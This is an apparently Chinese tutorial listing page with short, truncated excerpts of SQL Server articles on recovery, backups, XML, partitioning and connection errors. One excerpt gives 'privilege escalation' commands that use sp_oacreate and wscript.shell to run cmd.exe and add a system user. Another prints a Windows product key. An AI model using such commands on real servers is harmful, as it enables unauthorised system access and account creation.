-
恢复.mdf 数据库步骤
所属栏目:[MsSql教程] 日期:2020-12-12 热度:168
方法一(只有mdf没有日志文件的可以恢复) 证明有效 1.新建同名数据库。 2.把该数据库设置为脱机。 3.删除其日志文件(.LDF),不删除后边的过程执行通不过。 4.在在查询分析器中以超级用户登入,执行以下存储过程,必须以超级用户登入,这是系统级存存处过程。 E[详细]
-
Sql 批量替换所有表中内容
所属栏目:[MsSql教程] 日期:2020-12-12 热度:187
div class="codetitle" a style="CURSOR: pointer" data="71357" class="copybut" id="copybut71357" onclick="doCopy('code71357')" 代码如下:div class="codebody" id="code71357" declare @t varchar(255),@c varchar(255) declare table_cursor cursor f[详细]
-
Sql 批量查看字符所在的表及字段
所属栏目:[MsSql教程] 日期:2020-12-12 热度:146
div class="codetitle" a style="CURSOR: pointer" data="48188" class="copybut" id="copybut48188" onclick="doCopy('code48188')" 代码如下:div class="codebody" id="code48188" declare @str varchar(100) set @str='8f8el3l' declare @s varchar(8000)[详细]
-
SQLServer XML数据的五种基本操作
所属栏目:[MsSql教程] 日期:2020-12-12 热度:136
1.xml.exist 输入为XQuery表达式,返回0,1或是Null。0表示不存在,1表示存在,Null表示输入为空 2.xml.value 输入为XQuery表达式,返回一个SQL Server标量值 3.xml.query 输入为XQuery表达式,返回一个SQL Server XML类型流 4.xml.nodes 输入为XQuery表达式[详细]
-
SQL Server使用Merge语句当源表数据集为空时,无法进行查询的问
所属栏目:[MsSql教程] 日期:2020-12-12 热度:163
面举一个例子来具体说明一下: 有两个表SourceTable为登陆表,TargetTable为授权表,如果访问用户在登陆表中,更新授权表的授权级别,否则授权0表示游客。sql语句如下: --SourceTable为登陆表,TargetTable为授权表 --如果访问用户在登陆表中,更新授权表的[详细]
-
SQLServer 批量插入数据的两种方法
所属栏目:[MsSql教程] 日期:2020-12-12 热度:107
运行下面的脚本,建立测试数据库和表值参数。 div class="codetitle" a style="CURSOR: pointer" data="98833" class="copybut" id="copybut98833" onclick="doCopy('code98833')" 代码如下:div class="codebody" id="code98833" --Create DataBase create d[详细]
-
SQLServer 通用的分区增加和删除的算法
所属栏目:[MsSql教程] 日期:2020-12-12 热度:189
首先是将一个数据表加入到分区表的方法: [dbo].[SP_Helper_Partition_Add] @SrcTable nvarchar(256),待加入的表 @DestTable nvarchar(256),目标表 @idxOnDest nvarchar(1024),目标表上的索引创建语句 @Partition_func_name nvarchar(256),分区函数 @PartCol[详细]
-
数据库的一些常用知识
所属栏目:[MsSql教程] 日期:2020-12-12 热度:124
DROP VIEW --从数据库中删除视图 CREATE INDEX --为数据库表创建一个索引 DROP INDEX --从数据库中删除索引 CREATE PROCEDURE --创建一个存储过程 DROP PROCEDURE --从数据库中删除存储过程 CREATE TRIGGER --创建一个触发器 DROP TRIGGER --从数据库中删除[详细]
-
SQLServer 连接异常与解决方法小结
所属栏目:[MsSql教程] 日期:2020-12-12 热度:195
一:[MICROSOFT][ODBC SQL SERVER DRIVER][SQL SERVER]用户'(null)'登陆失败,未与信任SQL SERVER连接相关联处理 原因是由于SQL Server使用了"仅 Windows"的身份验证方式, 因此用户无法使用SQL Server的登录帐户(如 sa )进行连接 (方法一)改成:Windows"[详细]
-
sqlserver 无法验证产品密匙的完美解决方案[测试通过]
所属栏目:[MsSql教程] 日期:2020-12-12 热度:152
方法一: 在给出的输入CD-KEY(序列号)的界面中,输入你已经安装的windows server 2003 的CD-KEY(序列号)即可以继续安装,而不是SQL 2000的CD-KEY(序列号)。 Windows server 2003的CD-KEY(序列号):JCGMJ-TC669-KCBG7-HB8X2-FXG7M (附:SQL2000的CD-KEY(序列[详细]
-
sql2000 卸载后重新安装时不能安装的解决办法
所属栏目:[MsSql教程] 日期:2020-12-12 热度:105
1、将Program files下的SQL安装目录删除(此处如果有重要的数据,请先备份) C:Program FilesMicrosoft SQL Server80Tools。 C:Program FilesMicrosoft SQL ServerMSSQL。 2、注册表中的相关信息删除: HKEY_LOCAL_MACHINESOFTWAREMicrosoftMSSQLServer。 HKEY[详细]
-
SQLServer 快速备份的十种方法
所属栏目:[MsSql教程] 日期:2020-12-12 热度:129
SQL Server备份是一项系统工程,十分耗费时间。由于运行期间数据库持续增长,所以相应的备份也要花掉更多时间。通常100G的数据库就被视为非常大的数据库了,如今100G已经是非常普遍的,现在许多数据库已经达到TB级别了。在本文中我们将分十种方法来讨论如何[详细]
-
sqlserver 中一些常看的指标和清除缓存的方法
所属栏目:[MsSql教程] 日期:2020-12-12 热度:87
如何查看磁盘I/O操作信息 SET STATISTICS IO ON 命令是一个 使 SQL Server 显示有关由 Transact-SQL 语句生成的磁盘活动量的信息。 我们在分析索引性能的时候,会非常有用。 启用了这个属性后,我们在执行 SQL 语句后,会收到类似如下的信息,这有利于我们分[详细]
-
SQL 提权 常用命令
所属栏目:[MsSql教程] 日期:2020-12-12 热度:81
1、连接数据库 driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名 2、添加新用户 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net[详细]
-
数据转换冲突及转换过程中大对象的处理
所属栏目:[MsSql教程] 日期:2020-12-12 热度:177
数据转换冲突及处理 数据转换冲突: 在数据转换过程中,要想实现严格的等价转换是比较困难的。必须要确定两种模型中所存在的各种语法和语义上的冲突,这些冲突可能包括: (1)命名冲突:源数据源的标识符可能是目的数据源中的保留字。 (2)格式冲突:同一种数据[详细]
-
SQLServer 数据库开发顶级技巧
所属栏目:[MsSql教程] 日期:2020-12-12 热度:78
确保代码中的数据类型与数据库中的列类型保持一致 确保您的应用程序各层数据类型保持一致是非常重要的。例如,如果一列的数据类型为NVARCHAR(50),那么,您应该在代码查询与存储过程中使用相同类型的局部变量。 同样,数据层中的ADO.NET代码也应该指定相同[详细]
-
远程连接SQLSERVER 2000服务器方法
所属栏目:[MsSql教程] 日期:2020-12-12 热度:57
测试条件:一个公网IP,两个静态IP。 具体步骤: 一、ping服务器IP能否ping通 观察远程SQL Server 2000服务器的物理连接是否存在。如果不行,请检查,查看配置,当然得确保远程sql server 2000服务器的IP拼写正确。 二 在Dos或命令行下输入telnet 服务器IP[详细]
-
SQLserver2000 企业版 出现"进程51发生了严重的异常"
所属栏目:[MsSql教程] 日期:2020-12-12 热度:89
情景:一直用到比较好,突然不行 处理步骤:关了360等防火墙;(影响不大,但是有可能是因为杀毒软件处理时把某个关键文件heal了) 装了微软补丁 重新启动就ok了。 这个工具是微软SQL Server 2000 安全工具,描述为“SQL Server 2000 安全工具用于扫描 SQL S[详细]
-
SQLServer 触发器 数据库进行数据备份
所属栏目:[MsSql教程] 日期:2020-12-12 热度:60
div class="codetitle" a style="CURSOR: pointer" data="30295" class="copybut" id="copybut30295" onclick="doCopy('code30295')" 代码如下:div class="codebody" id="code30295" create table test3(id int primary key not null identity(1,1),uname va[详细]
-
SQLServer 数据库备份过程中经常遇到的九种情况
所属栏目:[MsSql教程] 日期:2020-12-12 热度:100
第一种情况: 有RAID,还需要做数据库备份吗? 回答:需要。有了RAID,万一部份磁盘损坏,可以修复数据库,有的情况下数据库甚至可以继续使用。但是,如果哪一天,你的同事不小心删除了一条重要的记录,怎么办?RAID是无能为力的。你需要合适的备份策略,把那[详细]
-
SQL 截取字符串应用代码
所属栏目:[MsSql教程] 日期:2020-12-12 热度:153
SUBSTRING 返回字符、binary、text 或 image 表达式的一部分。有关可与该函数一起使用的有效 Microsoft SQL Server 数据类型的更多信息,请参见数据类型。 语法 SUBSTRING ( expression,start,length ) 参数 expression 是字符串、二进制字符串、text、image[详细]
-
除MSSQL数据库text字段中恶意脚本的删方法
所属栏目:[MsSql教程] 日期:2020-12-12 热度:150
方法很简单:text字段不能使用Replace,所以使用patindex div class="codetitle" a style="CURSOR: pointer" data="45910" class="copybut" id="copybut45910" onclick="doCopy('code45910')" 代码如下:div class="codebody" id="code45910" -select from Pr[详细]
-
SQLServer CONVERT 函数测试结果
所属栏目:[MsSql教程] 日期:2020-12-12 热度:74
div class="codetitle" a style="CURSOR: pointer" data="20144" class="copybut" id="copybut20144" onclick="doCopy('code20144')" 代码如下:div class="codebody" id="code20144" SELECT CONVERT(varchar(100),GETDATE(),0): 05 16 2006 10:57AM SELECT C[详细]
-
SQLServer 中.与::的区别
所属栏目:[MsSql教程] 日期:2020-12-12 热度:87
下面给出一个SQL Server的实例,下面的SQL运行在2008环境下: DECLARE @g geography; SET @g = geography::Parse('LINESTRING(-122.360 47.656,-122.343 47.656)'); SELECT @g; SELECT @g.ToString(); 结果集为: 0xE610000001148716D9CEF7D34740D7A3703D0A9[详细]
-
SQL 研究 相似的数据类型
所属栏目:[MsSql教程] 日期:2020-12-12 热度:94
最常用的数值类型是int,但是它未必是最佳选择。bigint,smallint,tinyint可以应用在特殊场合。他们的特性如下表所示: Data type Range Storage bigint -2^63 (-9,223,372,036,854,775,808) to 2^63-1 (9,807) 8 Bytes int -2^31 (-2,147,483,648) to 2^31-[详细]